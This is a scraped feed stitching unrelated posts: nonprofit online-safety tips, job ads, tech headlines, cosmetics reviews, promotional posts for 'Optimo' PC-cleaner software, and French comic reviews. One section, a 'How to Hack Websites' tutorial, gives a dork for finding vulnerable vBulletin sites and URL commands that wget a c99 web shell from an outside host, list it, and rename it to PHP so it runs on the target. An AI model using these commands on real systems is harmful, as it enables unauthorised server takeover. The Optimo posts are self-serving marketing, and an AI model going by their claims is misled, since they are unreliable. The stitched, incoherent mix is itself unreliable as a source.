That’s a wrap for now! Pass on these tips to your nonprofit partners to stay safe and secure online, so you can focus on what matters most: changing the world. 

//

To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more at no charge. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more and enroll here.


          Four ways to keep your nonprofit safe & secure online        
safety security g4np
For nonprofits, the Internet serves as a powerful vehicle for change — creating a way to access information, connect with users, and drive innovation. But navigating the web can also be a tricky task. Online safety and security has become increasingly pertinent for all digital users, including nonprofits. While it’s relevant to all though, it’s unattended by many. This raises the question: “How do we keep our nonprofit (and the community we serve) safe and secure online?”

Today, we’re partnering with Google’s User Advocacy Group to share four smart tips to keep your nonprofit, your users, and you safe online.

1. Secure your passwords

Many of us “know” that it’s smart to pick a strong password, but out of convenience we also continue to use our favorite pet’s name (e.g. “Clifford”) or other not-so-creative passwords like “password.” Although pets like Clifford are great, they don’t make great passwords. Rather, this weak protection creates vulnerable access to some of your nonprofit’s most sensitive information.

Picking strong passwords that are different for each of your accounts is extremely important -- it’s also good practice to update your passwords regularly.  Check out the following tips: 

  • Use a unique password for each of your accounts. Would you give a burglar a key that accessed your home, car, garage, and more? Using the same password for multiple accounts creates the same type of risk. Ensure you’re protecting your data by using unique passwords for each account.

  • Include numbers, letters and symbols in your password. The longer your password is, the harder it is to guess. Adding numbers, symbols and mixed-case letters makes it harder for someone to gain access to your account.

  • Create password recovery options and keep them up-to-date. If you forget your password or get locked out, you need a way to get back into your account. Many services will send this information to a recovery email address to reset your password, so be sure your recovery email address is up-to-date and accessible. You may also be able to add a phone number to your profile to receive a code to reset your password via text message. Having a mobile phone number on your account is one of the easiest and most reliable ways to help keep your account safe.

2. Take the security checkup


Google’s Security Checkup is a quick, easy way to review the following information about your account (and more)!
  • Recent activity: This is a quick overview of your recent sign-ins to Google. If you see any activity from a location or device you don’t recognize, change your password immediately.

  • Account permissions: These are the apps, websites, and devices connected to your Google account. Take a look and make sure you trust—and actually use—all of them. You might want to remove an old phone, or that dusty app you never use.

  • Check your 2-step verification:  Most people have only one layer of protection with their password. 2-step verification adds an additional layer of security to your account by requiring a phone or security key to access your account information.

3. Understand your privacy settings


If you do your personal and business work on the same computer, you will want to also check your privacy settings through Google’s Privacy Checkup. Privacy Checkup allows you to control what information like photos, videos and reviews are shared to the public or to whomever you choose.
  • Manage your sharing: You can decide what information you want to share such as videos, photos and reviews. Perhaps your nonprofit videos are only shared with your friends, when you want them to be shared with anyone. This is a simple way to check to see who can see what.

  • Personalize your google experience: One additional function of privacy checkup is to see what information you’re sharing with Google. Google uses this information to provide better search results and more relevant information to get you answers quicker and more relevant information to share to your nonprofit community.


Review important information about how Google uses data to make services better for you and your nonprofit.

4. Ensure you're switching between your personal & business accounts


We understand that as a nonprofit, you wear many hats and manage multiple business accounts in addition to personal ones. Google makes it easy toggle between accounts — visit your account settings to quickly determine which data you’re accessing, and rest easy knowing your personal and business information are separate.

  • Guest Mode or Incognito mode: Share Chrome with other people in your organization and ensure everyone has their own settings and bookmarks. You can also utilize Guest mode or Incognito mode to open a private browsing session in Chrome without leaving browser history or cookies behind once you’ve logged out.

  • Using Chrome on an unfamiliar device or machine: If you’re using an unfamiliar device or machine, ensure you’ve properly logged out of your account before heading off to your next meeting.


Online security doesn’t have to be difficult. These simple steps will give you peace of mind and protect your nonprofit’s valuable work. If you have any other online security questions or want to recommend a topic for a future blog, please add a comment below. 

To see if your nonprofit is eligible to participate, review the Google for Nonprofits eligibility guidelines. Google for Nonprofits offers organizations like yours access to Google tools like Gmail, Google Calendar, Google Drive, Google Ad Grants, YouTube for Nonprofits and more — all at no charge. These tools can help you reach new donors and volunteers, work more efficiently, and tell your nonprofit’s story. Learn more + enroll here.  


          SMT Machine Operator - Nextek        
Madison, AL - Madison, ALFull-time
Company Description
Nextek is a niche market, technology-driven Electronics Manufacturing Services (EMS) company, founded in 1995. We offer precision electronic assembly and engineering services to customers with needs-driven, non-commodity products. Nextek
          Customer Success Manager - OneSpot        
Austin, TX - Client Services - Austin, TX - Full Time
Company Overview

OneSpot is a technology platform for sitting at the intersection of personalization technology and content marketing. The company?s machine learning based Content Sequencing engine helps the world?s best brands use their
          Brands of food processors        
Now, let’s talk about the brands a bit, and why it’s so important to buy the best food processor on the market to fit your needs. Food processors don’t come cheap that’s a fact. Well, good ones at least. And if you get one for some change money, it probably means you won’t get far at processing actual food with it. They are also very intricate pieces of machinery, so it’s not easy making them cheaply. It’s rather impossible, I would say. I’m sure I don’t have to tell you that buying the famous brand food processor is the best...
          KVM virtualization with Allwinner A20 on Debian: libre, low-power, low-cost        
Introduction Various cheap ARM boards based on the Allwinner A20 SoC are available already for a few years. The first EOMA68 computer [1] will be also based on this chipset. Not many users know that the Allwinner A20 supports hardware-supported virtualization as well. Its Cortex A7 cores allow running hardware-accelerated ARM virtual machines (guests) using Read more »
          Chinesische Parabel über Leben und Tod        
Der Sinn des Lebens – Chinesische Parabel Es war einmal ein etwas alter, verdorrter Baum, der in einem Walde im Hochland stand. Es schneite und es war eisig kalt. [singlepic id=3 w=585 h=240 mode=web20 float=center] Eines Tages flog ein Vogel aus weiter Ferne auf ihn. Der Vogel war müde und hungrig, als
          Field Service Technician - ABE        
PA-Allentown, Job Description Field service technicians are vital members of the ABE team. Technicians provide fast and effective service for our customers for Toshiba and Lexmark. They are responsible for the repair and maintenance of digital multifunction machines at the customer's location. A good work ethic and troubleshooting skills are key to this position where you are held accountable to the highest sta
          Will Machine Learning Revolutionize Healthcare (and other) Collections?        
The intersection of behavioral psychology, classic marketing strategy and tech for the masses—including machine learning—has added tremendous ...
          Nielsen Acquires AI-Powered Sports Marketing Startup VBrand        
vBrand has developed a machine learning-enabled platform to measure brand exposure and impact in sports programming. The acquisition of ...
          How The US, China And Russia Are Moving Toward Weaponizing Artificial Intelligence        
A group of researchers are warning the world about weaponizing artificial intelligence and robotics, but that machine-learning genie may already be ...
          How The US, China And Russia Are Moving Toward Weaponizing Artificial Intelligence        
A group of researchers are warning the world about weaponizing artificial intelligence and robotics, but that machine-learning genie may already be ...
          Andrew Ng will help you change the world with AI if you know calculus and Python        
Coursera was originally set up to offer an online class in machine learning; deep learning is a variety of that, involving exceptionally large datasets.
          Nvidia: Luck Is Not A Moat        
NVIDIA itself is not an AI powerhouse, and its growth has come from the happy coincidence that GPUs are more suited to machine learning than CPUs ...
          Rare Disease Treatments to Be Discovered by Machine Learning and Simulation Platform        
"I look forward to combining the GNS REFS platform with Alexion's deep expertise in data sciences to accelerate the discovery of innovative medicines ...
          Machine Learning Model Tracks US Spy Planes        
Reporters-turned-data-scientists started by making calculations describing the flight characteristics of about 20,000 aircraft contained in a database ...
          Machine Learning Model Tracks US Spy Planes        
The news web site BuzzFeed did just that, reporting this week that it employed a machine-learning algorithm to first recognize known spy planes, and ...
          Car Problems? AI And Machine Learning To The Rescue!        
Recalling faulty products is difficult in any industry. The fallout can be horrific, and have serious implications for companies of all sizes - just look at the ...
          Car Problems? AI And Machine Learning To The Rescue!        
... of 'Digital Twins', granular virtual copies of parts in the manufacturing process, which are enabled by deep learning and artificial intelligence.
          How Machine Learning Is Helping Neuroscientists Crack Our Neural Code        
A big challenge in neuroscience is understanding how the brain encodes information. Neural networks are turning out to be great code crackers.
          QuanticMind Reports Record Year-over-Year Growth in Q2 2017        
“We're thrilled to partner with even more astute advertisers across the globe to conquer the challenges of digital with advanced data science, machine ...
          5 Red Hot Picks for Electrifying Gains From AI & Automation        
Two catchphrases have caught the imagination of investors and companies at the moment, deep learning networks and machine learning. Both these ...
          The Rise of the Chinese Navy        
Originally posted on Defencyclopedia:
INTRODUCTION 25 years ago, the Chinese Navy or the People’s Liberation Army Navy (PLAN) as it is officially known as, was virtually a military branch which no country took seriously. It consisted of a handful of destroyers which were equipped with short range and almost obsolete weapons compared to the West…
          Soy Braised Pork Belly with Chinese Steamed Buns        

One of the keys to the deep, savory flavor of the of the braise is what’s known as “thin” or “superior” or “premium” soy sauce. It is also occasionally referred to as light soy sauce—but don’t confuse that with low sodium! Thin soy sauce is actually saltier and lighter in color than regular soy sauce.

Buy the buns at your local Chinese market: look in the freezer section for folded, not round, buns. Continue reading

The post Soy Braised Pork Belly with Chinese Steamed Buns appeared first on Pots and Pans.


          Craquant le papillon sur ta coupelle. Bon we. sur PETITE CHINE DU DIMANCHE...        
Craquant le papillon sur ta coupelle.
Bon we.
          Review: Skin Food Choco Eyebrow Powder Cake        

Hello everyone. Today is Chinese New Year Eve in Singapore. Since I do not celebrate this holiday, I have some time off to do this third installment of my Althea purchase. I my first and second post can be found here and here. Before I start on my review, I would like to wish all my Chinese readers, Gong Xi Fa Cai!

I fixed my eyebrows recently at Benefit Brow Bar and the person who did my brow fill in the unevenness in my brows. I have a fairly thick and darks brows, however they are not even. So some parts of it are a little bare/bald. I have tried using eyebrow pencil and find it looking rather unnatural. Maybe because I rarely makeup and hence not really good at it. Then I tried using the colored eye brow gel from The Faceshop (review here). It is difficult to use and the color doesn't blend in with my brows.

So I was looking through Althea and wondering if they have those powder for brows (you know like the ones people use for eye shadows). Then I saw Skin Food Choco Eyebrow Powder Cake selling for only SGD$5. It was so cheap that I didn't think twice before putting it into my cart! So below is a photo on how the product actually look like. It didn't come in any dancing looking box. But it doesn't really matter to me as long as the product it not damage.

First look of Skin Food Choco Eyebrow Powder Cake

So you have choice of Grey Khaki Black or Grey Brown. I choose Grey Brown because I simply cannot imagine having khaki colored brows (I fit with warm colors better). The photos of the colors can be found below. I think you can tell which is the brown and which is the grey one. According to the website, the product contains real chocolate inside. I can't really verify it by taste (yucks) but the powder does really smell like chocolate, which is kinda of cute.

From left to right: Brown powder and grey powder
Below is a photo of the brush that came with the palette. I slightly swabbed the brush on the gray palette. As you can see the powder cake is not as pigmented as those eye shadow palettes. This lightness of the pigments can also be seen the following photo where I brushed some of the brow powder cake on hand. The top one is the brown powder cake and the bottom one is the grey powder cake.

The brush which comes with palette
From top to bottom: Brown powder cake and grey powder cake
I mixed both colors when I apply on my brown. I put the brown powder first and then layer it with grey powder. Don't underestimate the light pigment of the powder cake, a little powder goes a long way for your brows. Below you can see the before and after photo of my brows (I did not kid you when I said that my brows have some baldy areas)

Before applying Skin Food Choco Eyebrow Powder Cake
After applying Skin Food Choco Eyebrow Powder Cake
So what do I think about Skin Food Choco Eyebrow Powder Cake? Haha from the photo above, I think it works! The best of all it is extremely easy to use. The price is also a plus point. I think loose pigments of the powder also makes the eyebrows more natural looking after application.

I give this product 5/5.

Feel free to leave a comment if you have any question!

          Review: Missha Red Ginseng Sheet Mask        
Remember in the previous I mentioned that I will be reviewing the skincare products I received in my Althea package. Well, here is the first one.

I will be reviewing Missha Red Ginseng Sheet Masm today. This is my first time seeing red ginseng being used as one of the ingredients in a skin products. I do know that people consume red ginseng for stamina, but I have never heard of red ginsnsg being applied on skin. I guess the koreans like their ginseng so much that they put it in almost everthing. On a serious note, I actually googled on the benefits of red ginseng on the skin. And I found out that it has a anti-aging properties and helps to rejuvenate the skin. Just what I need after a long day of work!

The facial mask's packaging with dried red ginseng on it

Haha the packaging reminds me of those extract that koreans like to consume for health reasons.



English translations on the instructions and ingredients are available at the back side of the package

The back-side of the pack stated that mask is to firm and nourish the skin. And interestingly the mask only contains red ginseng extract!

So first look, I noticed that the facial mask is not a regular one but a 3D mask. Below is the photo of the mask after I dried it for a few days. I folded into half to show that unlike ordinary mask, the 3D mask threaded/joined at the center so it sits well on the face. It also covered the chin well.

There was a lot of essence in the pack too...in fact the mask was dripping wet.

So what was the mask effective? I am actually quite impress. The result was not quite far off from what it intends to do. My face was less dull the next day and more moisturized. I also did not experience any itchiness. I also like the 3D shaped of the mask because I can walk around the house easily because it fits my face like a glove.


I will rate this 4/5 :)


          Review: Laniege Trouble Relief Cream         
Today I am join review another item part of the Laneige Trouble Relief series. Previously I wrote a review on Laneige Trouble Relief Spot Gel HERE, which I really recommended. This is time the review will be on Laneige Trouble Relief Cream! I am not sure about the price since it is a gift from my friend. But it should S$50 dollars.

Let's start off with pictures of the product itself

Front view of the box
Back view of the box

Here is the product. I think it is made of glass, but don't worry because I have dropped it a few times and it did break haha.

The inside

The picture above shows the consistency of the cream. It has a snow consistency. This is my first time using a cream with snow consistency. The consistency is like in between emulsion consistency and body cream.

Instruction sheet that comes with the bottle


The instructions are:
1) After applying toner, apply 1.2 cm in diameter of the cream
2) Gently smooth the cream from the center to the outer edge of your face

Initially I did not follow the instruction. I feel that the second step make some difference to the effectiveness of the cream, I am not sure of the scientific reason behind it though haha.

before
after
I usually apply once in while, when I feel that there is a impending breakout of my face. Example redness, slight itchiness, red bumps that are going to emerge as acne. I apply it after I cleansing my face. From the picture, although the cream looks kinda clumpy it is easy to spread on you face evenly. When you first apply it, it will feel very slightly heavy and oily but after it filtrates into your skin it will not be oily at all. In fact it filtrates in pretty fast. I can usually see improvement in 1-2 days time. The next morning after I applied it on my skin, my T-zone will be less red/inflamed. It also reduces the bumps on my skin and prevent acne from breaking out on my skin. These are most likely due to the anti-bacterial properties of the cream. It also has moisturising effect, but i felt that is less moisturising compared to the emulsion. But it could also because I did not apply any toner.

I will rate this product 5/5.

          Review: Meishoku DET Clear Bright & Peel Peeling Jelly〈Mixed Berry Fragrance〉        
It is time for a new product review again. Before I do that, I would like to wish all my readers HAPPY 2015! May 2015 be a great year for all of you. 

My eldest sister brought home lots of Japan Skin products after her trip to Japan in December 2014. Some of the products are from popular brands in Singapore while some are brands that I have not heard before. On a side note, I simply love how the Japanese package their products, it makes me really excited to try out the products. One of the products that I would like shared with the product is DET Clear Bright & Peel Peeling Jelly with Mixed Berry Fragrance.




It states on the bottle that the peeling jelly can help to remove black-heads (Black-Heads OFF), exfoliate (Skin Rebirth), Dark Spot Care and remove sebum (Sebum OFF). 

Since it is directly from Japan, there is no english translation on the bottle. It states "Peeling Jelly" on the bottle, so I imagine it as your typical peeling mask until I google online for more information on the product. I found the information at Meishouku website.

Rather than a peeling mask, DET Clear Bright & Peel Peeling Jelly Gel is like a "glue jelly" that traps dirt on your skin as you rub on it. As you rub it will gather like small blobs of jelly. Here are some of photos of me trying the Peeling Jelly on my hands. This is not my first time using it though. I tried it  the first time few weeks ago on my face but did not document it on photos. Nevertheless, I will blog my  first experience after posting the photos.



As shown above the gel is clear and it has nice berry smell. For those who has sensitive skin, you can but one that is fragrance free.


I spread the gel and rub on my clean hand focusing on areas that feel rougher than the rest.


The gel will start clumping once it has trap the dirts. You can proceed to wash away the gel. It is pretty easy to wash away the gel. You just need normal temperatures water.


After washing the gel, my hand feels smoother. It might not be clear on photo. I used the gel on my right hand only and I can feel the difference in level of smoothness between my right and left hands.

So more on using the gel on my face. I feel that the gel is really helpful in removing dirt behind the wings of my nose. It is really difficult to remove dirt there using just facial wash and even using face scrub. I can feel that the area behind the wings of my nose substantially smoother. However, I did feel slight itchiness around the wings of nose after using the gel for the first time. But do not worry, the itchiness stopped  the next day and it doesn't occur again after subsequent use.

I feel that there is some reduction in white heads around my chin area and black heads on my nose. But doesn't really remove deep-seated black heads. After using the gel at night, you can really feel how smooth your skin has become when you are cleansing your face in the morning. I was really impressed when I first tried it.

So if you are looking for something that can help you exfoliate your skin, I recommend this over other face scrub because it is quite gentle on the skin compared to face scrub.

I rate this product 4.5/5,



          What is Remote Code Execution? How to Hack Websites        
According to Wikipedia, Remote Code Execution can be defined as “In computer security, arbitrary code execution or remote code execution is used to describe an attacker's ability to execute any commands of the attacker's choice on a target machine or in a target process. It is commonly used in arbitrary code execution vulnerability to describe a software bug that gives an attacker a way to execute arbitrary code. A program that is designed to exploit such vulnerability is called an arbitrary code execution exploit. Most of these vulnerabilities allow the execution of machine code and most exploits therefore inject and execute shell code to give an attacker an easy way to manually run arbitrary commands. The ability to trigger arbitrary code execution from one machine on another (especially via a wide-area network such as the Internet) is often referred to as remote code execution”

vBulletin RCE Injection

Few websites running vBulletin are vulnerable to Remote Code Execution, by exploiting the vulnerability we can get our PHP backdoor shell uploaded on the website. We’ll use a dork to find the vulnerable website.

Note: Don’t keep yourself restricted when it comes to using dorks, use other search engines too other than Google, like Bing, Yahoo etc. Use of multiple search engines will help you to get more vulnerable websites.

Dork: inurl:faq.php & intext:"Warning: system() [function.system]"

Now, select any website of your choice from th search result, and go to its faq.php page. If the website is vulnerable, you will get the following on the page.


You will get an error similar to Warning: system() [function.system]: Cannot execute a blank command in [path]/faq.php(324) : eval()'d code on line 1

So, firstly upload your PHP shell on any free hosting website or you can use sh3ll.org/c99.txt as it has already got an uploaded .txt shell. (We will be first uploading our shell in .txt form, and later will be changing the extension to .php after the upload process is completed.

Suppose the vulnerable website is http://www.vulnerable.com/faq.php. So in order to upload our shell enter the following in the URL bar:

http://www.vulnerable.com/faq.php?cmd=cd /tmp;wget http://sh3ll.org/c99.txt

To check if we were able to successfully upload our shell, enter the following in the URL bar 
http://www.vulnerable.com/faq.php?cmd=cd /tmp;ls -la c99.txt

Were c99.txt is the name of your uploaded shell. If we were successful in uploading our shell, we see the following text on the page. (Might be a little different in some cases)
-rw-r—r—1 nobody nobody

We know that our shell is successful uploaded on the website, now it’s time to change the file format from .txt to .php in order to execute it on the server.

http://www.vulnerable.com/faq.php?cmd=cd /tmp;mv c99.txt check.php
(You can change check.php to any other name of your choice)

Now, the file format is change. It’s time to execute our shell, so to execute it enter the following in the URL bar
http://www.vulnerable.com/faq.php?cmd=cd /tmp;mv c99.txt check.php
 

Bingo!! We successfully exploited vBulletin Remote Code Execution Vulnerability.


          Technology and it's threat         

Technology and its threat

It's true that technology makes everyone dance on its tone. Now we have computers with the help of which we can get information about everything. It has also changed the way of communication. Earlier we use to talk via letters and phones. But, now we have a webcam through which we can do video calling or conferencing. It's true that machines have been created by men, but they make fewer mistakes as compared to men. You just need to program the computer properly and it will work accurately. With the help of computer everything is done perfectly in less time. Now days it’s not surprising if students carry their laptop and mobile to school. Technology has truly made our lives easier.



But a computer also faces health issues, which can be treated by an Antivirus Software program.
Following are  top 8 threats and no one should ever ignore them

Viruses: - The name itself describes it. It can disrupt a computer and can damage the available data. Viruses can be received via numerous options that also include e-mail attachments. So, always beware when you get an e-mail from an unidentified server or person.

Spyware: - A Spyware is used to spy on computers. It can steal your personal information and send it to others who can misuse it. Today everyone is concerned about being the victim of identity theft. Spyware are generally attached to a freeware downloaded from the web. So be cautious when downloading and installing a software tool.

Spam: - Spam mails are promotional in nature and usually promote products of sexual or dubious nature. Some websites are harvested by spammers, from where they steal your e-mail ids.
Adware: - Adware are responsible for producing advertisements on a system without user’s consent, which you often see on your computer screen. It can be in the form of pop-ups, pop-under, and other sources. People generally do get irritated by these adware but at many times are not aware of its causes.

Dialers: - Dialers are the programs, which are designed to redirect phone calls to expensive numbers without even informing you. You’ll get to know about it, when you will receive the bill.
Hackers: - A computer always consists of so much personal data, including your bank and credit card details. Hackers always try to steal this data and recover your passwords in order to do malicious activities and even may burgle you.

Hijackers: - The hijackers take remote control of your computer screen and can reset your homepage and search pages. They do it in order to do thievery on your behalf so that they can be away from the agencies and you’ll be in danger.

Phishing: - Phishing has become the most threat full of all malicious activities over the internet. It is because Phishing websites look similar to the real websites, and are designed to make fools out of the customer and are generally scams to harvest usernames and passwords of prominent websites.

In order to be away from these 8 threats, download Security Software Optimo Defender, which also scans for threats and performs virus removal programs on a computer by offering various features like Antivirus,

Anti-Trojan, Anti-Spyware, and System Security Suite. There are a lot of Antivirus programs available on the internet, but like everything else they also vary in quality. You tend to get what you pay for.
Anna Asthesia is chief technical head in optimodefender.com & working from last 5 years. She likes to write article on antivirus software program, security software & how to find genuine online tech support for Laptops, Computers & Smartphones.

About the Author
Anna Asthesia is chief technial head in optimopro.com & working from last 5 years. She likes to write article on windows registry , computer problems & how to find genuine online tech support for Laptops, Computers & Smartphones.You can read her latest blogs onblog.optimopro.com



          How To Speed Up Your Computer with Optimo Pro        
Computer users are inundated with tribulations frequently. The way you eat food to keep you going and to keep you fit, likewise, computer machine also needs maintenance every now and then. Your body demands food to keep you going. So how can your computer lag behind? Computer optimization is the buzz word. Everyone wants to speed up computer to reap more benefits.

Regular holdups that stall the computer’s performance become a complete nuisance. Virus attacks, malware intrusions, Trojan horse, and other cruel problems slow down the speed of your system. But most of the users find it difficult to understand the problem and resolve them. What you require is good quality pc cleaner that deals with junk files, registry errors and much more.
Quite a few PC cleaners are doing the rounds in the market, some fake and some real. Fake ones rather than solving any setback embed a set of virus and infections that results in loss of time and money. Real ones effectively optimize your computer system that helps speed up computer.
Optimo Pro is software that comes with more than one program. They scan the computer within minutes and help the customer get back to work. Within months of its launch, Optimo Pro has had immense outreach and has helped computer users, be it consumers or business. The increased usage of Optimo Pro has been phenomenal.



What all it does?

  • Removes data footprints from at least 25 browsers
  • Protects your confidentiality
  • Wipes and cleanses up to 25 browsers like Google Chrome, Safari, Firefox
  • Takes care of the clutter that clogs the system
  • Features:
  • Windows Registry cleaner
  • Apps Errors cleaner
  • Files cleaner
  • Browser cleaner
  • Short cut cleaner
  • Trace cleaner
  • Registry Optimizer
  • Junk Files cleaner
  • PC Optimizer
  • Complete computer cleaning software



All these apps work in tandem with each other and help increase the speed of your PC. A PC cleaner acts a scrubber that scrubs manifold parts of the computer and helps keep it in good shape. Be it fixing your registry or cleaning junk files, it does all.
With the kind of success Optimo Pro has gathered, it becomes worthwhile to at least give it a try. Download Optimo Pro from www.optimopro.com  and make use of the trial version. Our customer service number is 1-800-413-1289. You can ask any question and we will be more than happy to serve you.

About the Author
Anna Asthesia is chief technial head in optimopro.com & working from last 5 years. She likes to write article on windows registry , computer problems & how to find genuine online tech support for Laptops, Computers & Smartphones.You can read her latest blogs on blog.optimopro.com


          Original Blog Entry: Did You Know?        

Why most Zippers have the letters YKK on them.

Whitcomb L. Judson invented the zipper and YKK is the Japanese company that makes them.

Whitcomb L. Judson was a lover of gadgets and machines and the idea for his "clasp locker" came from when a friend had a stiff back from trying to fasten his shoes. Judson's clasp locker was used mostly on mailbags, tobacco pouches and shoes. However, his design, like most first inventions needed to be fine-tuned.

A more practical version came on the scene in 1913 when a Swedish-born engineer, Gideon Sundback revised Judson's idea and made his with metal teeth instead of a hook and eye design. In 1917, Sundback patented his "separable fastener."

The name changed again when the B. F. Goodrich Co. used it in rubber boots, galoshes, and called it the "zipper" because the boots could be fastened with one hand.

The 1940s brought about research in Europe of the coil zipper design. The first design was of interlocking brass coils. However, since they could be permanently bent out of shape, making the zipper stop functioning, it was rather bad for business and wasn't too practical. The new design was improved after the discovery of stronger, more flexible synthetics. Coil zippers eventually hit the market in the early 1960s.

In 1934, Yoshida Kogyo Kabushililaisha was founded. Sixty years later they changed their name to YKK Co. The privately owned firm, headquartered in Japan, now is made up of 80 companies at 206 facilities in 52 countries. Wow! you say? but of course, the demand for zippers is great. YKK makes everything from the dyed fabric around the zipper to the brass used to make the actual device.


          Les Chevaliers de Mars, Le Château des Etoiles, tome 3, Alex Alice        
Hier, en allant sur un autre site de travail, je suis passée devant la librairie. Et il était en vitrine, bien voyant. Hier, en rentrant chez moi, je me suis arrêtée à la librairie, et j'en ai aussi profiter pour me prendre le dernier tome des Outrepasseurs. Hier, à peine rentrée à la maison, j'ai dévoré la bande dessinée (mais pourquoi est-elle si courte ?). Bref, hier, j'ai retrouvé Séraphin, Sophie et Hans pour une nouvelle aventure.

Les Chevaliers de Mars, Le Château des Etoiles, tome 3, Alex Alice

Editeur : Rue de Sèvres
Collection : /
Année de parution : 2017
Nombre de pages : 60

A lire si :
- Vous avez aimé le tome 1
- Vous aimez le steampunk et Jules Verne
- Vous voulez de beaux dessins accompagnent une bonne histoire

A ne pas lire si :
- Vous ne voulez pas de jeunes héros

Présentation de l'éditeur : 

1870. En plein dix-neuvième siècle, le sort de la Terre se joue sur Mars ! Dans cette suite de la série à succès Le Château des étoiles , récompensée par de nombreux prix, Séraphin et ses amis sont de retour sur Terre. Après avoir révélé au monde le secret du voyage spatial, ils ont trouvé refuge dans un manoir breton. Mais leur engin volant est désormais l'objet de toutes les convoitises ! Alors que le père de Séraphin est en voyage à Londres, le manoir est cerné par des brumes lourdes de menaces... Spectres, ou espions prêts à tout pour mettre la main sur le précieux engin ? Nouvelles machines, complots internationaux, têtes couronnées, expéditions au-delà de l'espace... La course à l'éther est lancée, et la paix sur Terre est désormais entre les mains de Séraphin et des Chevalier de Mars !

Mon avis

La Conquête de l'espace, premier tome de cette série , m'avait particulièrement plus, le second tout autant. Autant dire que j'avais plus que hâte de lire la suite. Alors forcément, cette couverture rouge m'a attirée. Moi qui m'étais promis de ne pas aller toutes les semaines à la librairie...  Bref, je suis faible, je le sais, et ça ne me dérange pas tant que ça. Mais que vaut-il ce nouveau tome à la belle couverture rouge ?

On retrouve Séraphin, Sophie et Hans en bretagne, quelques temps après leur retour de la Lune. Ils ont donné les plans du moteur à Ether au monde, voit le début de la conquête de l'Ether par les nations sans pouvoir rien y faire. Pendant ce temps, les scientifiques essaient de réguler tout cela, de ne pas faire de cette conquête une nouvelle guerre. Mais alors que le professeur Dulac est à Londres, il se fait enlever par les Prussiens. Prussiens qui comptent bien conquérir Mars. Une planète qui attire aussi les jeunes gens, puisque d'après les calculs de Sophie, Ludwig de Bavière doit s'y trouver.

Mais bien entendu, rien ne se passe comme prévu. Les Prussiens veulent l'éthérine ramenée de la Lune et attaque la cachette de nos héros. Débarque alors l'impératrice Sissi qui va leur permettre de s'envoler une nouvelle fois vers l'Ether, et plus précisement vers Mars avec deux missions, retrouver le père de Séraphin et le roi Ludwig.

L'histoire nous entraîne rapidement sur cette seconde partie de la conquête de l'Ether. Et il faut bien dire qu'elle est passionnante, mais vraiment. Entre une Sophie qui semble être en manque d'Ether, un Séraphin qui doute de plus en plus, un Hans toujours égal à lui-même (ce personnage mérite pourtant plus que de sembler être le bout en train du groupe), on découvre rapidement l'importance qu'à pris leur voyage dans leur vie. En plus de cela, l'Ether est devenue la chose à conquérir, que se soit scientifiquement parlant ou politiquement parlant. Tous les enjeux d'une telle découverte sont présentés, même si de manière parfois un peu simpliste (ok, il n'y a que 60 pages dans ce tome, c'est aussi un peu normal).

Et puis, comme toujours, les planches sont juste magnifiques. J'aime vraiment tout ce travail à l'aquarelle où l'on voit tout de même un peu le dessin préparatif. J'aime les nuances de couleurs dans les ciels terriens ou non d'Alex Alice. Je trouve que cela donne tout le charme de la bande dessinée. Non mais vraiment, les paysages quoi et les ciels. C'est juste beau quoi. Et ça va si bien avec cette ambiance steampunk. 

Au final, vous l'aurez compris, j'ai juste beaucoup beaucoup aimé ce troisième tome. Et je veux le quatrième maintenant (je veux beaucoup de chose maintenant en même temps, heureusement que la réalité est tout autre par rapport à mes envies, sinon, vingt quatre ne me suffiraient pas). 

          The Shadow of Death, Les Foulards Rouges, saison 3 épisode 6, Cécile Duquenne        
Je prends de plus en plus mon temps pour lire les épisodes des Foulards Rouges. Parce que c'est bientôt la fin et que je ne veux pas que ça finisse. Bon, sachant que je ne peux rien faire à cette fin à part la lire, et bien je fais durer.

The Shadow of Death, Les Foulards Rouges, saison 3 épisode 6, Cécile Duquenne

Editeur : Bragelonne
Collection : Snark
Année de parution : 2017
Format : epub

A lire si : 
- Vous avez lu et aimé la première et la seconde saisons
- Vous voulez une série qui mélange les genres avec bonheur

A ne pas lire si :
-... (toujours pas trouvé pourquoi il ne faudrait pas les lires, les Foulards Rouges)
- Par contre, si vous n'avez pas lu les deux premières saisons, autant éviter (tout comme de lire mes avis d'ailleurs)

Présentation de l'éditeur :

Retrouvez Lara et Renaud dans la dernière saison des Foulards rouges !

Mon avis

Nous voilà presque à la fin de cette saison trois et de la série tout court. Je ne veux pas que cela se finisse. Je suis prête à faire un caprice si cela servait. Bon, je sais que ça ne sert à rien, alors je ne le ferais pas. Pis j'aime pas quand ma fille en fait, alors je vais pas commencer moi (quoique...). Cet avant dernier épisode est tout simplement très éprouvant pour les nerfs de tout le monde, personnage, lecteur et même surement autrice elle-même. Autant le dire, l'étau se referme et nous voilà dans la dernière ligne droite, celle qui marquera la fin, d'un côté comme de l'autre. Une fin qui ne me semble pas si simple que cela, et qui d'après moi annonce encore quelques surprises, voire même des larmes. 

A présent, passons à la partie à spoiler de cet avis, comme à chaque fois.

/!\ SPOILER (en gros et en rouge, comme ça, vous êtes prévenus !)

Le dernier cliffhanger (cette machine inventé par les Enfers), me faisait presque dire qu'il y avait encore de l'espoir dans cette aventure. C'était sans compter sur l'autrice, qui n'a jamais épargné les personnages et les lecteurs de ces histoires. Numéro Trois s'est barrée de l'Hacienda, Lara, Nikki, Claudia, Fraan et Marine se ruent à sa poursuite, suivant des traces bien trop évidentes. Toi aussi, lecteur, tu sais ce que cela veut dire. Un piège. L'ennemie n'est pas encore morte, elle a même quelques tours dans sa manche.

La première partie est bourrée d'action, la seconde aussi et Lara est au centre de tout cela. C'est étrange d'avoir un épisode entier presque entièrement portée par la jeune femme, surtout quand on a l'habitude de les voir divisés entre elle et Renaud. Bon, de temps en temps, Claudia ou Nikki prennent les rênes de la narration, mais ça tourne toujours autours de Lara. Faut dire que Renaud est en fâcheuse posture, très fâcheuse même, dans les mains de Numéro Trois. Une nouvelle fois. Je dois avouer que le voir comme ça me serre le cœur. Pour moi, Renaud, c'est le pilier, celui qui est toujours là. En fait, le voir comme ça renverse un peu cette vision et j'apprécie finalement cela. En fait, j'apprécie quand les schémas sont bousculés et que c'est bien fait, comme ici. Cécile Duquenne ne le fait pas souffrir pour rien. Ben non, sa souffrance alimente un peu plus Lara, la pousse à faire des choses qu'elle n'aurait pas forcément fait. La pousse aussi à prendre la place qui semble lui revenir de droit. 

